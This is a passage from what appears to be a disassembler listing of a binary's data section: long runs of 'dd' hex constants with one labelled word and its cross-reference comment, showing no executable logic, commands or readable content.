7D7A045Ah, 2160EC60h, 443501BEh dd 9852A3ACh, 0A2405450h, 0CCF42813h, 0BE2801A0h, 1AB89D39h dd 1D70811Fh, 17A74437h, 0E6F13870h, 28044867h, 8EB6916h dd 0ED01C2C8h, 0B8C8E436h, 79DF4882h, 0A473AF25h, 0C4891311h dd 46BD7817h, 0A95EB601h, 89264873h, 20695019h, 0CC0CFB1Ch dd 3BEF05Fh, 0D4B16F99h, 0DA9AFC2Eh, 0DF6D8C82h, 0F4F310C2h dd 99E837BEh, 37F442C0h, 5C90A26Eh, 0D209DCE4h, 0D092F1C7h dd 773D3A9Ch, 0CC22F4DCh, 0B0DCF89Eh, 8CBA00h, 0E23186E9h dd 0FCF9DA1Eh, 1700C8F6h, 5ECCAE5Bh, 97C90371h, 0B6914C97h dd 5779183h, 7C5AE6A1h, 0F4DC2028h, 2885E336h, 0B01F9CC3h dd 220EC918h, 0C945271Eh, 1E6C64ADh, 567FFF0Fh, 2947A882h dd 6379A409h, 57270D18h, 0EDB4A915h, 28DC098h, 2A1883F8h dd 0C7C8C447h, 88BD8138h, 3E6D4E0h, 0ACC42EF1h, 8E412009h dd 11E01DFCh, 6BB4C0B5h, 0B91BDD4h, 0E838E390h, 8DF1DCA0h dd 0A560796Ah db 31h, 0BDh word_505446 dw 0FD4h ; DATA XREF: ___:off_435710o dd 0A9F72410h, 0AA4402A0h, 3C565D56h, 18C0038Ch, 2AC2442h dd 0DE18BEECh, 7AF24155h, 0AD1E4E1Ch, 0E44B0C64h, 945A00F8h dd 96B85DA3h, 312D58Fh, 0E16B31Fh, 0B723EC3Ah, 0E9BA902h dd 10CF288h, 508DBBD4h, 60219F2Eh, 0C6E4AB6Ch, 0D9A67A13h dd 64C8E48Bh, 0C23585CFh, 0EF77F081h, 0F06A3B09h, 47823700h dd 445818DCh, 92944212h, 527144F2h, 20C098B1h, 9748C2C3h dd 0EEE65F00h, 1404FD94h, 0B6C4B86Dh, 0F1C04188h, 68CAEC4Ch dd 12464A0Fh, 8A606245h, 0E584C0C1h, 0A01D97B9h, 0A7826411h dd 84CECE13h, 0F06B844Fh, 0A412303Eh, 0E240BE2h, 0B1192C40h dd 0F47C7345h, 0EEDFAC09h, 37DD8CA4h, 0B3C74718h, 400B8D82h dd 738FD946h, 91A07360h, 10972221h, 5D48964h, 90AB4AD3h dd 8680BA68h, 0F07A6AAh, 32421983h, 0E8549603h, 800527D3h dd 841388F0h, 0D20A5492h, 2DE35884h, 0A4AD630Ah, 0D57159ECh dd 2C0EDCA0h, 0CB9D7F00h, 0BB8CD9FCh, 6A5030EDh, 331CD831h dd 2B2FD600h, 6D31C757h, 0C4A34D1Ah, 3AEB2609h, 6CB0CCE4h dd 3C9978B0h, 9C3C2D80h, 76438504h, 0BB7A2E72h, 5DE902A8h dd 451A3B0h, 4B06AD40h, 0B7B50280h, 46709DC3h, 4054BC4Ah dd 3F6C8740h, 7DAA005Ah, 0FC13F81Eh, 0E939CCFDh, 0D209F489h dd 45F5B12Ch, 601EE41Ch, 0F8EDD536h, 9BFC2FC0h, 0C1670C81h dd 20347562h, 0D72DFD3Ch, 11CC1DA1h, 0ACCC8065h, 0A4508F6Bh dd 20190080h, 423F72FAh, 0BF00B16Eh, 56982161h, 4B88525Ch dd 0C2889770h, 887611A3h, 0C0884D25h, 776B7A0h, 82D0D339h dd 0EBB0D614h, 16805058h, 40084A45h, 3EBAA208h, 865D5CC1h dd 0EF72C4A8h, 6E8E901h, 0AC84248Bh, 14DC98A2h, 86FF18ECh dd 8987621h, 682B3553h, 13EEBD00h, 91461163h, 48E17B8h dd 0FE1A8B0h, 0BE15C6B0h, 0F9C80091h, 0FC427D51h, 50D26DEBh dd 79244C30h, 938B00AAh, 0E20A15C0h, 7D002089h, 96D8C9E5h dd 9DA85EE4h, 16F5C881h, 971BF07Bh, 922C8927h, 0B490C1B0h dd 801BA611h, 0E447819h, 0E1659Ch, 0B5DBD7F2h, 801AECC9h dd 3F89CB01h, 2D79DEF6h, 3AB8E06Dh, 0C718DA01h, 41736433h dd 65CC2C2Fh, 0CA2C4216h, 20FBE042h, 301C78D0h, 5A31AAA2h dd 0F700AC9Fh, 0D981E95Eh, 2DDB495h, 73B864D0h, 2C83D13Ah dd 2AB89E45h, 72F88B36h, 0DB0A9EEh, 0E999B560h, 902B1576h dd 0A2B1050Ch, 81BC4901h, 0E0F73690h, 447F3D19h, 115F7A05h dd 18B86E8Eh, 39560174h, 409C8DF0h, 443080D5h, 0D9AE911Eh dd 2A110099h, 0DE90A3BAh, 6600BD7Dh, 86BCB894h, 3042FB9Eh dd 2E109781h, 58006A82h, 26BA1B5Eh, 954769E9h, 0D6B1E080h dd 0F27774BCh, 42C10B4h, 0A18B040Bh, 86E341D0h, 19002479h dd 642AA7B9h, 0DC00D3B6h, 0C60F245Eh, 794B88Ch, 0B92CADBCh dd 0A8F37525h, 6F079E80h, 8A2352D5h, 7970C09Dh, 272300AEh dd 0F78FF7Ch, 0D66F661Fh, 3CA34170h, 30345285h, 50F600B0h dd 0CC01EB74h, 5B1DC7A8h, 0CF8063BDh, 0D796FF56h, 0C01D0059h dd 8FDDD17Ah, 6102536Fh, 260FCFD5h, 131440E7h, 98DEA47h dd 67AFB069h, 0B844D444h, 0DCC0E33Dh, 0E172038Fh, 56D01D1Ah dd 0C0B0CAE0h, 0B852D200h, 0DCA62D88h, 807300C4h, 821F1036h dd 9B002451h, 4D5F0227h, 9090503Ch, 8D944510h, 0C66697A8h dd 1E317980h, 7633DAE4h, 0F8D44100h, 1C57892Fh, 0C64F00EDh dd 0F9567AB5h, 7505E7A1h, 0BCE987D6h, 0FF40C803h, 5008D1CCh dd 10A5D0h, 6BFAFDD5h, 2299DFB3h, 2D7C6F0Fh, 743FC031h dd 609CC89Bh, 4A1DB660h, 7C0C8D20h, 38474FB2h, 41E56023h dd 68027642h, 1445F106h, 18E839h, 8180A457h, 0B9E2D127h dd 7948632Ch, 268F1E00h, 3F22291h, 0E5257C7Ah, 65B054E4h dd 0E018E613h, 0C318557Bh, 6F1003A9h, 6BF57FD7h, 66135818h dd 3CCC61h, 65BB1ED4h, 7734C6BEh, 80A08500h, 70EF6B13h dd 0E2C21CD7h, 31A9B012h, 0E709A2BAh, 137E92h, 0D30D7CE4h dd 33353C4Bh, 0D529CDB0h, 60011A5Ch, 0EA01B6CBh, 1887F6ADh dd 100A40E8h, 0F26D127Fh, 22963000h, 7C056589h, 0FDE703CBh dd 0FA5FE64Ah, 0D99E6888h, 0CF028800h, 37ED267Bh, 0F32F0013h dd 0C041CE5Bh, 8AE8A230h, 10CF0D31h, 64189D5Eh, 0D72FA90Ch dd 1865313Bh, 41E62DA2h, 6E14EDAAh, 0C304ABE1h, 682752h dd 0DE0F0510h, 0C7BF7773h, 14F74F28h, 31FA8930h, 595DBh dd 0FE60B628h, 54717CCCh, 522286F8h, 0E0D00E9h, 0FA72BEA5h dd 6A31A655h, 6F2308A2h, 15362080h, 76B13AA5h, 0C1005876h dd 0E663F14Ch, 0EEBA890Eh, 6583010Fh, 0F8F05ED6h, 15980EAh dd 0F673A305h, 0D1F16089h, 649E314Eh, 0D962E900h, 4BD14CF2h dd 788C13FFh, 0D4870077h, 0CDF77AA7h, 1A13ED1Dh, 608BF9F0h dd 2D8D0323h, 2AF5C262h, 8360088Eh, 2358E421h, 0A00201D5h dd 737BFD68h, 0F48848D7h, 602281C0h, 2E90F9h, 0B3B49CF7h dd 0F49F96C0h, 72039471h, 315803E8h, 65D2E9BDh, 0C77E419Eh dd 901F3C95h, 765F2A9Ch, 0C8EE2B2Ah, 0A7941B54h, 0A28A8200h dd 0BCF76570h, 0ADB0024h, 528122Ch, 0DE150E9Fh, 2370B09Eh dd 234F0314h, 62FC2D80h, 67F12081h, 550CF923h, 0D1F38934h dd 8FA73F64h, 0BFFEB180h, 739D12A0h, 0C2FCC00h, 4D83351Dh dd 0D1C8A8F6h, 0E4C77E0Eh, 156606F4h, 0E0E2EBD3h, 0B4180874h dd 0CEF163D5h, 6167078Ch, 33867DE9h, 83035F1h, 34A321D5h dd 573D0567h, 0F0127E7h, 325131FCh, 1878E806h, 48619A0h dd 2D8C2363h, 2077625Ah, 73235BE5h, 0AC1F522Ah, 5F5A6500h dd 0BD362DE9h, 55CB000Fh, 894DF214h, 38CEA54Ch, 81F4ECE6h dd 0D6C50BFCh, 0D009E76h, 64E2E549h, 0DCA19C77h, 9869B2CAh dd 4CC0B017h, 2D811123h, 80808882h, 512364F0h, 0C5182637h dd 0F319AC1Ah, 0D6EC4Eh, 849F875Bh, 7B5FEC39h, 7B3DE091h dd 48492D38h, 99B3E28h, 20E58667h, 0A8C841D0h, 177B010Fh dd 0E762630Ah, 80A63109h, 0A8C03741h, 6E84BA7h, 51B78A9h dd 690259EEh, 767B5C6Bh, 89E4A316h, 0C23900FDh, 7199961h dd 3B014D27h, 0DDF61B0Bh, 0CC50889Eh, 62E31DA3h, 0FBF03145h dd 69D2B890h, 4F20F4A8h, 0BB6C491Dh, 2006E792h, 0A7D9C51Bh dd 677D4460h, 2E0B0560h, 0A4030084h, 1C93ECE3h, 49C1F2E6h dd 0C6AEF9E9h, 4C426835h, 678930BBh, 35E96610h, 6731AEE0h dd 922D083Eh, 842F225h, 0A2F7E01Ch, 0AF2AF0B8h, 2D7282A0h dd 58CC9929h, 0A81DBF18h, 9107B0Ah, 0A8B724B0h, 9CC57F0Ah dd 76118CCEh, 8BF817h, 6C52F6D1h, 0B4981339h, 7A1A5005h dd 53803B59h, 31CA1E75h, 0A0B966D5h, 0BD8A30E5h, 5FD35500h dd 4ABF3316h, 0D0EA0111h, 0AA9C2671h, 0BD50485Ah, 7B18A808h dd 434DC4EFh, 0F1A8B522h, 2C604CBFh, 0BE800246h, 0E886E6DBh dd 0F8E61446h, 796B8100h, 0E5850C04h, 5BC2019Ah, 67678A1h dd 8070BFE3h, 4A30566Fh, 2C53B10Eh, 0C020886Eh, 72C8A510h dd 2022EA46h, 0A5173400h, 313A6333h, 70DE39DAh, 83DC4C4Ch dd 0EF3F9748h, 0F47F2BD1h, 0B07F02Ch, 7B8214C4h, 25982240h dd 0C7300FDh, 76DB4AC5h, 3098A25Bh, 8344E4A7h, 0C0792467h dd 4AA26B09h, 0FCA10402h, 0A7FB8974h, 1CA00F8Ch, 797096h dd 0C547F428h, 746F5F5Dh, 705249CAh, 4F948C00h, 0FD5777Dh dd 296DC681h, 9060B781h, 8A09EC7Bh, 8F1ED899h, 63DE6A00h dd 0CD0D8Bh, 9E1D3338h dd 0EA3B42B6h, 857B2639h, 0D3A8559Ah, 1E894088h, 0BFCF69Eh dd 38104D8Bh, 0E036214h, 0A50C2CC6h, 68B8C820h, 671058D0h dd 0E3555C00h, 50687A3h, 2157B09h, 8384108Ah, 0F5340FCEh dd 1F20A3ADh, 0E9549EF2h, 1CA59306h, 30B1EFE7h, 0DAF1AD1Ah dd 0A200919Ah, 0A4E7E080h, 5265DF19h, 5B04881Ah, 0C3A79E5Fh dd 9AF1724Ch, 2CEC836h, 2A8EFE00h, 7660235Dh, 7831C3B0h dd 0E17B7173h, 1C951B2Eh, 467418A6h, 65410082h, 2507081Bh dd 0FCDC331Dh, 0D9C081C1h, 2E48326Ah, 11B509FDh, 4620144Bh dd 234E0215h, 31522D7Fh, 66E6107Eh, 0DCDE0023h, 6FDB0BFDh dd 0C00A0BCh, 20359EADh, 1365D1FEh, 22192DF0h, 79205CA8h dd 0A21AE3h, 722B1529h, 30256F71h, 2EC9EA01h, 4E2FC377h dd 8CB57C34h, 11678B26h, 7C628513h, 33B020CAh, 0A61DDB67h dd 0F8A8F21h, 8914D55Ah, 9A2A87F8h, 52E47820h, 7099CF1Ah dd 998C3B41h, 7EA8E7AFh, 7D00687Fh, 0D15BA59Fh, 13745A60h dd 81EECB8h, 0CBC06440h, 217B0EA8h, 0F5910A1Fh, 0A8C33801h dd 50B11AABh, 34D91D9Ch, 72133B7Fh, 0BC4950E5h, 0DC9C901Ah dd 1BF0002Bh, 4FCCD364h, 38003688h, 0BB9A50DFh, 13B5628Fh dd 8C51A07h, 61CF3240h, 9A72C2A5h, 2A882518h, 0BAA400A1h dd 0BB4C9D4Eh, 762EDC02h, 9E6450D8h, 8A236560h, 642A2D2Ch dd 6521EB71h, 2B51DD4h, 0CC10A220h, 5851A56Ah, 0EE188179h dd 5F244EE8h, 0CB41A461h, 0EC5368D2h, 8D10D8A2h, 0B6A502E2h dd 0CA83FABCh, 4D820CC0h, 241E3091h, 5E1C4880h, 6798Dh dd 0CF70C92Dh, 71206D2Bh, 925FB201h, 0BE41AF24h, 0D858142Ch dd 0D2411631h, 0E671805Dh, 4972A29Fh, 819300A5h, 0FD030EB0h dd 2616B937h, 34DBEh, 22E2712Ch, 7E0F6738h, 4FC36CB5h dd 0CD1ABF7Ch, 0C1648419h, 50677F60h, 8765E910h, 0A49ED2C8h dd 6A4567C1h, 7C2D8BAFh, 662EF001h, 0E9FE9EE0h, 74B6F92Fh dd 74963910h, 0C16D780h, 39D66AAh, 2F51A671h, 2900B38Fh dd 6CD689ABh, 0FC347CD5h, 0A4F63F20h, 32E2DA89h, 7B7CA064h dd 9EE2C3Ah, 1970CAB7h, 1433B054h, 0E83381A2h, 70EBCBDh dd 946B9B7Dh, 0C54C017h, 1891CC83h, 0AE187F79h, 0C7088400h dd 33103B7Dh, 744D5CE9h, 0D72F7880h, 0A501E850h, 631D5243h dd 7820561Bh, 0FBF1A1h, 6FE99D29h, 0CBA4C258h, 68EF6C0Fh dd 0C00F60F7h, 87F44h, 17495D7Eh, 0E0D904CEh, 87FEC51Dh dd 473EC3C0h, 7C06CBFFh, 1880F191h, 3F0F840Eh, 45569627h dd 0A7E7C720h, 0CD8A0F68h, 0D82012Eh, 2EE0028Fh, 0C707999Bh dd 8515C9C8h, 4F541FC0h, 518E0018h, 0C062335h, 0CF29120Bh dd 814C2001h, 5C5D20F3h, 92011484h, 9A4FC80Ch, 67F0D7DAh dd 438B0140h, 0A68EFCD0h, 60D5FE84h, 5BBC944h, 7F4E7D16h dd 8345902h, 0EB805141h, 0A0901BB1h, 742CF7F8h, 460098FCh dd 1294D1A3h, 129E6DFh, 27A660D4h, 20AE9B8Ah, 52269910h dd 73A688Eh, 0ABDE9198h, 40C38F92h, 26BE896Ch, 0CF9024Ah dd 9C298BF5h, 0C4BA2284h, 0BCCB09FBh, 0B08E15Dh, 846690D6h dd 5448975Ah, 22D82642h, 0E224582h, 21682495h, 2E12DA06h dd 2492B213h, 1C4B2Ch, 68A2D1Eh, 477E122Bh, 0B5AA0779h dd 67DEA1DDh, 0B23ADCD6h, 38DFD750h, 9B51D41Eh, 31B7003Dh dd 8889AC61h, 0E31C00D0h, 75BA7B8Bh, 41771886h, 0E9771F7Fh dd 0D0489303h, 0D0F339ECh, 9419BEh, 13781DFFh, 483FA434h dd 9F83D300h, 82A8860Bh, 0B8790038h, 0D9D67E12h, 0A51EE7A6h dd 0CE406157h, 10DB91Bh, 3BEB0243h, 91B8B6CAh, 0A9C175E0h dd 0DE5AD900h, 4D45878Ch, 1A2F0155h, 5D4B9EF8h, 6ED6306Dh dd 0E6C7C200h, 5C3D6BFDh, 4F7EB1h, 2B64E157h, 0E8EAF4CEh dd 45D89201h, 6A76B395h, 65391980h, 0A862B975h, 32B78F0Fh dd 1AAF464h, 34F7AE49h, 0C4C821C8h, 70E000ADh, 0F4C6F029h dd 0CA00D91Ah, 2AD38988h, 7469EAh, 0CAA250Ah, 3136FB94h dd 80A77F3Ch, 536F8A5Ah, 1B0BFC8h, 0DCE9C511h, 0C047EBC1h dd 0ED01D1A0h, 0DF34ABD2h, 59F86286h, 52F20097h, 3690E047h dd 0A6481B39h, 0C861005Ch, 8BF97CBAh, 6D820018h, 7A23BE49h dd 41214B6h, 0BEA05Bh, 0D24742BFh, 2AFE8A97h, 46584800h dd 0E1CE62E7h, 890500EFh, 93D7136Dh, 3D01C084h, 0EC53ADE0h dd 8C406672h, 1879FDBh, 0C49A7FB6h, 34327636h, 0FF01E388h dd 14EA1348h, 0D8408D2Fh, 0F1FF2AAh, 6B44CF8Ch, 0AC7D3AC0h dd 0BB0EF021h, 327CC7h, 77428592h, 905416E7h, 0F09800EBh dd 6C2C2545h, 1316B400h, 0F9CE69A9h, 2820E209h, 108059B1h dd 0A5410Ch, 5E67A656h, 4188A1Ah, 4F2F5A4Dh, 0E0BB0030h dd 0C2240704h, 0D9C68FF0h, 0A840E3DFh, 80164Dh, 90F54FEEh dd 700B23FDh, 20F1E72h, 0E1B6D7B3h, 81BB5964h, 47B91D0h dd 0DE307D74h, 0E39481FDh, 94B7D42Fh, 3F7E200h, 0E40DEC7Bh dd 0D86B00BCh, 44B5F46h, 0C300752Fh, 0F405F116h, 3A4829A2h dd 5886977Eh, 60526A19h, 0B93AA47Eh, 0B2206031h, 3AA31128h dd 779C7557h, 984E8084h, 0E7BF27D7h, 0ECA7671Fh, 13705EC7h dd 0BB8DB810h, 21DA0774h, 8042E6FCh, 18D608A7h, 789FBA48h dd 907F8F28h, 6E9B901Eh, 410F8100h, 392D8B8h, 21EC629Ch dd 17D81836h, 0C400286Fh, 1BD6DA66h, 5356948h, 3806B7Fh dd 9E81BED3h, 0F1309B5Ch, 2459E811h, 87046A21h, 0C2C19558h dd 1E40F6B2h, 220FC825h, 40571699h, 0FFAB830Bh, 91A800A5h dd 0F688F4D5h, 0EF00A264h, 603CBDCAh, 2AD945Dh, 34960743h dd 3460AB6Eh, 0C30026DDh, 0E8855180h, 36694EEh, 0EB8F81F1h dd 43C02B5Fh, 0F83E2D91h, 31958757h, 0A00FA679h, 38EDC934h dd 0A0EC73EEh, 4CFB6B0h, 0DDA94BEAh, 35C8AFEh, 0C763F78Fh dd 6B46E07Bh, 550101B4h, 0CCAE90B9h, 0B1C230D5h, 7BCDC402h dd 0C0AC8633h, 41F1B4h, 0DDC54B77h, 0F5C09A5Fh, 30EB4Dh dd 6BC83165h, 401ADFh, 0DEE0133Ah, 48351DA6h, 5C48BD75h dd 717F11A8h, 0BA66CB00h, 0A493EB09h, 0C7673300h, 1B039184h dd 254B2426h, 0B2A70068h, 62F46B57h, 45E9C403h, 9867D973h dd 1537279h, 519CA87Eh, 31BF8DA3h, 0B845D80Ch, 76BC8207h dd 0F0FAA63Ch, 411A2C00h, 0F004E1F1h, 1DBB005Bh, 0C1053A86h dd 850133ECh, 18669388h, 0F3C3589Ch, 44A800F5h, 1D80EA89h dd 12005C2Fh, 644EDFAFh, 0BC4AFFh, 30FE8FF2h, 0F92B0AD7h dd 86F02C5Eh, 760601BDh, 20E28550h, 913030B6h, 0BBDF8C00h dd 77572C1Ch, 89B4009Ch, 1E196A64h, 8A1621C0h, 340009AEh dd 0DCFD8B8Ch, 4BFE0281h, 0CD98F3BFh, 8683DDC0h, 7E582714h dd 949900E4h, 0B32BF55Dh, 0DA410053h, 0A9B97322h, 0D80EE415h dd 80D3645Eh, 0F0E3CAE9h, 0AB1B00F3h, 0D474F5A5h, 500B45E8h dd 0A9F6DDh, 3FF8A665h, 8440011h, 0BF9AFCB5h, 6D002AA0h dd 0DEB0DF04h, 58F97h, 4209E229h, 4AF26A59h, 7FA1DD0Fh dd 0AE8B2014h, 0B8E444h, 4265718h, 94168712h, 92F6E300h dd 0F25C6B7Eh, 55400DCh, 0EDABF901h, 6C0E12C1h, 607D27BFh dd 993E192Ch, 0D17B0ADAh, 41AC4D1Fh, 7F73157Fh, 40BFD00Eh dd 0BB9A0874h, 27E6E7h, 8EEAD433h, 620B4D30h, 16131778h dd 9440C02Eh, 0F3A95F14h, 78771496h, 0B900A0ABh, 6E7D22C3h dd 8C004818h, 0C70F6C90h, 233E77h, 68BEE1F5h, 199D47A9h dd 80D89A3Dh, 0A1CA694Bh dd 44A8C32h, 0CD0F21D5h, 0E994C037h, 910E59A2h, 801EB697h dd 86719931h, 953600F0h, 0AF3C1DFBh, 0CD00BF96h, 0BEAEC541h dd 7785DC3h, 85D9E0F2h, 0D55EC21Ch, 0B5BA9C48h, 80980A3Fh dd 90047D23h, 0BE64E555h, 51140024h, 0A37F1174h, 3E2B0758h dd 0D25C8033h, 4ED06602h, 59C30067h, 0C15055DCh, 2000AA4Fh dd 782EB35Eh, 130224C8h, 4147910h, 0D3330404h, 0A7E0B944h dd 0D874D77Ch, 0CEBE671Dh, 8AB42180h, 12FA82h, 0EF639F94h dd 0CFC87535h, 5E541600h, 7C0F7833h, 32756Ch, 0FAF4C574h dd 0BBD4860Dh, 0D621FF00h, 0BC3E7916h, 0CEB91E1Ah, 70E463h dd 0D09C4DE2h, 0C2383A60h, 0C47D007Ch, 76D4C18Ch, 6EFF0031h dd 0A1891E28h, 42C4258h, 0D005049h, 5477E320h, 0F440098h dd 45F4F187h, 7407DB66h, 34E89101h, 28A11E65h, 0A75EC8h dd 14C173F6h, 0C6534569h, 0B8A14A7Ah, 0E0B0C8C8h, 93AC2C00h dd 0AE5B129Bh, 0A0860017h, 32EDC10Ah, 0B0A85FD6h, 9901D505h dd 0F4C4C290h, 70805D12h, 5B629480h, 0DB1DB798h, 0BBC7A188h dd 0B2E3F35Eh, 0EE0E803Dh, 47D200C4h, 0B49D54D9h, 92006359h dd 0A899D7C2h, 1D4B9638h, 8707F42Ah, 90703ECEh, 3223372Bh dd 5E0089FEh, 0F39A9568h, 317B46Eh, 0A9F99E88h, 0B6F92603h dd 0E08070D5h, 0C0004B0h, 0EDF4B152h, 984AEBFAh, 0FE9A0047h dd 978C21D4h, 6FF6CFD6h, 0F57ED204h, 10AC13AAh, 0C014D01Eh dd 53ABA904h, 5B3FF867h, 0D68B00C3h, 7B58C740h, 915A00A4h dd 2FA974AEh, 3939E97Dh, 0CCB885h, 6941A556h, 131914E7h dd 40716C6Bh, 0FE39187Ch, 15007664h, 7512C759h, 48360A0Bh dd 2013E396h, 1DEC05C4h, 0F608C14Fh, 190FFCABh, 0F0EDC02Ch dd 39D8A700h, 0B6B3CFh, 38D13691h, 163CE1AFh, 0A717F313h dd 807A14C2h, 3BFFBEC8h, 32CB1CADh, 0DE64821Ch, 7240814Fh dd 5D005A27h, 6BAF8A39h, 482C453Fh, 8C0C5054h, 12119714h dd 0FCA37A00h, 30E3F788h, 108767Ch, 270E6447h, 0D0E712B9h dd 4D001B6Ch, 9195B4A3h, 22BE4h, 0FB700503h, 7F120D59h dd 0DD0E0A7Eh, 409C10C7h, 698E30A1h, 74343B52h, 8A9B8680h dd 806DC366h, 0EC069307h, 0A4308DBEh, 7F3E90h, 7832A0Eh dd 0DA39C96Fh, 159CA200h, 858C92CAh, 0FCFA81h, 6EB7122Eh dd 1D26EA4Dh, 0F3602400h, 8BFE8225h, 8E0900CBh, 0C2E57FDAh dd 0B1C77A8h, 48C13C26h, 2A8497CFh, 0F3787FCh, 0DE169AF1h dd 120CFC60h, 2B03C2EAh, 3A09478Ch, 0AE8812FEh, 3E6A000Bh dd 0E4AFA739h, 0EBF75000h, 0C987D26Ch, 955E0309h, 3815A011h dd 80B92938h, 0AE895AFEh, 0C4264Fh, 7B6037A5h, 5152D756h dd 0E180F603h, 0A8F067CCh, 7684E070h, 78BA1EADh, 33ED8198h dd 40E79472h, 0A5A957ACh, 4FC9BF07h, 0D55A2C1Bh, 6840DC1Dh dd 1F9F4CFBh, 11F8006Fh, 0A063A616h, 0C8EF1A19h, 0BB008FB3h dd 22E22188h, 984BD178h, 99330028h, 0EBA55428h, 640027BEh dd 1F9B50F7h, 1E85DB4h, 0D0E06F68h, 80C35236h, 589D3A40h dd 234282h, 0F6694A72h, 0A60EF5A3h, 0A15A500h, 89D7E7DDh dd 1FB700AAh, 0FED4CB11h, 41588C81h, 22B50153h, 0E3D90E67h dd 7470660h, 2DDFD2D8h, 0C8FF4054h, 26E43E0Ah, 4FF4AA70h dd 0A1EC2C00h, 661697C7h, 6D710ED2h, 0F8EAFC6Fh, 75D8018Ch dd 20698786h, 0D701044Ch, 0C69281F4h, 0A3E01044h, 8C950098h dd 2EFA1B93h, 9401A474h, 15050982h, 0FE6075C1h, 31E6249Ah dd 80061F08h, 32F676D2h, 0DD39FD44h, 0FED7BC4Dh, 206220CEh dd 7DDAC923h, 54D60620h, 0F0528644h, 88A63000h, 7317483Fh dd 46FA003Bh, 7B9215F7h, 0A20EFFBAh, 8027DAE8h, 0A5EDF89Fh dd 569C0004h, 0DE5EC612h, 0FCEBCAE3h, 0B20772C4h, 0C7ED8046h dd 6AD9E36Eh, 5BC18838h, 5271002Ch, 49E98CD4h, 0E3004854h dd 86BBF097h, 0A0E6BC01h, 7CB17F8Ch, 57D100CDh, 0C4470423h dd 3400B490h, 0A7240370h, 0D076E7h, 7BCE0E39h, 0E93DE148h dd 97039BE4h, 0A099093h, 53B9803Ah, 1B8B1238h, 8D18029Ah dd 0D62195F3h, 0F3309E1Dh, 16DA00FDh, 0AACE597Ah, 6000948Ch dd 7E1D0221h, 500FA0F4h, 3B75A011h, 27077F7Dh, 0A0B0FE6Ah dd 6CE74C0Ah, 9BBEAA01h, 0E860EEC9h, 923BC8EFh, 0B501009Eh dd 0FE1D4FCBh, 8270870Eh, 0C6B8FF50h, 0F03B39h, 94DA9E16h dd 0DB5AD9h, 62E901DCh, 0E5F19912h, 0CAEF1700h, 0CF68C633h dd 5D7D0532h, 0AE90AF3Eh, 235637C0h, 5F7E0771h, 0D01B09D4h dd 443C11A4h, 0A5DA5A00h, 0C6142FADh, 0EECB0B0Bh, 5D830A31h dd 590677Fh, 0F400282Bh, 165C3455h, 17B1D4Eh, 23FA3A03h dd 0EC3759E8h, 6400DC9Dh, 383C0126h, 28732Fh, 0FA124291h dd 6BB3AB3Ah, 0B774B60Fh, 8EA040B0h, 0A0F99839h, 0D55BE4h dd 4BCDBBA9h, 0F8A3281Fh, 10D88F00h, 8348FF94h, 0F453001Bh dd 67BDEA15h, 16771DBCh, 8B00B7E4h, 0FE2584BFh, 4D57426h dd 37FF2447h, 0C0B10E9Bh, 32602789h, 0D0415466h, 29C00E9Ah dd 174E6Ch, 1848CC05h, 0C700AB3Ch, 0A16AEEDCh, 3BA413B1h dd 219F8D0Eh, 0C8FE9416h, 83916F00h, 155C131h, 3F00757Dh dd 7976E3CCh, 4FB89E8h, 442F7FD6h, 0B208C3E4h, 6C1B3DB0h dd 0CDC44801h, 740C3375h, 9BDCC0h, 0A6A90DBBh, 49F7D7C0h dd 0D198DA00h, 92A71AC1h, 0B5EF0085h, 0ACC44114h, 1D023F89h dd 0DF944A6Eh, 189EC10Ch, 8FA9C8h, 2A9AB232h, 0CF4A6A79h dd 13B0EC00h, 0C2D4C95h, 0ED390010h, 0B66837E2h, 2C9ADCF1h dd 6D119F00h, 0C3B771F6h, 24E70065h, 0D3551330h, 0C71E85A3h dd 59401747h, 0E8DA6EA1h, 4AC20441h, 0EC37FA5Dh, 9BAA1398h dd 98F3C400h, 0A0AC782Bh, 4092EDBCh, 73F6F5F6h, 0AE023C75h dd 0F12CBC8Ah, 0F06DC0FEh, 463601F7h, 0FB1910F3h, 0FF1680EBh dd 6D0CEEE1h, 0A3D701CCh, 2B5AC9E0h, 0C4F0617Eh, 0C300C166h dd 2372C0A7h, 162D269Eh, 2E028h, 27017C71h, 0B6A0B30Ch dd 0F70AFF83h, 0BCACAFA1h, 691DD500h, 1F58BA73h, 9E47AD10h dd 0FF6EC1F4h, 75C5CC39h, 99CD4020h, 0E201F331h, 2EC65FDAh dd 1DE85A73h, 0BA938BAh, 960FBC00h, 4F81ADF7h, 1F20EC00h dd 5C5F613Ch, 2B501E1h, 5EC5D140h, 0E384EC0Dh, 3E464E00h dd 0AD34FC59h, 0A56C00CEh, 151C3D5Dh, 8912A9CDh, 0F0004688h dd 0C6ABA17Ah, 70FCEDEBh, 73C90042h, 0E3663B1Dh, 0E10038B4h dd 164AD902h, 7541C07h, 4878C6B9h, 0FA80791Fh, 0BBA65833h dd 0B5EC9600h, 0DF68DD9Dh, 5C423E80h, 75851480h, 50AAE54Eh dd 4C5D5B2Ch, 8105CE00h, 58E044D1h, 0CF0075D9h, 1DE4B131h dd 33247B6Dh, 0D300CB47h, 422E2CE1h, 0A9DC0051h, 12500E36h dd 0BB180402h, 8DA91E93h, 7A1300AAh, 7832F06Eh, 3A00A233h dd 3992917Bh, 7F5FE6h, 3F51D15Ch, 188744D2h, 129B34FBh dd 0B41DBF00h, 6457EEA7h, 0A34500D4h, 0CE1310A8h, 0C3038238h dd 2321D8F6h, 9A419007h, 995900EDh, 0D0FBE002h, 0EB00D36Dh dd 5B44DD40h, 30A80C76h, 0D309D07h, 0F1003475h, 32966631h dd 4F8284h, 60FB610Ch, 1159C691h, 6DA00300h, 6456D696h dd 0CBE249h, 0E7CA2F9Ah, 0B0632B5Eh, 388FF00h, 0DFEC982Ch dd 362500F2h, 9BCE5B78h, 68003D14h, 0B84AEFCh, 664F5Ch dd 0C5EDA2A9h, 9B860174h, 8B126071h, 0C801E42Bh, 8686661h dd 17D2FAF0h, 5D6529h, 0E65F45BDh, 0FB1EA2B3h, 0C4F08459h dd 37780483h, 0C1B8099Dh dd 87E70C8Ch, 283A6249h, 0A02A60E3h, 994299Bh, 26F26BEBh dd 0E600A78Bh, 7AF4D8FBh, 5D740B03h, 0C9DF5E6h, 0DD074561h dd 0FA1DE778h, 0C60F0D89h, 77608001h, 7BE39283h, 7BA05F6h dd 258BFBh, 2812FA60h, 8251789Ch, 0D49BF84Ch, 770D5A00h dd 3F35D1D7h, 0B0EED6h, 9ABE6054h, 0D5C5911Bh, 6A814900h dd 59A46407h, 0E7A03ECh, 0D4B270BBh, 557B42C8h, 0C3308C1Dh dd 7F7534CFh, 864082C0h, 343D376h, 9BB75F01h, 4CF851E4h dd 947A1179h, 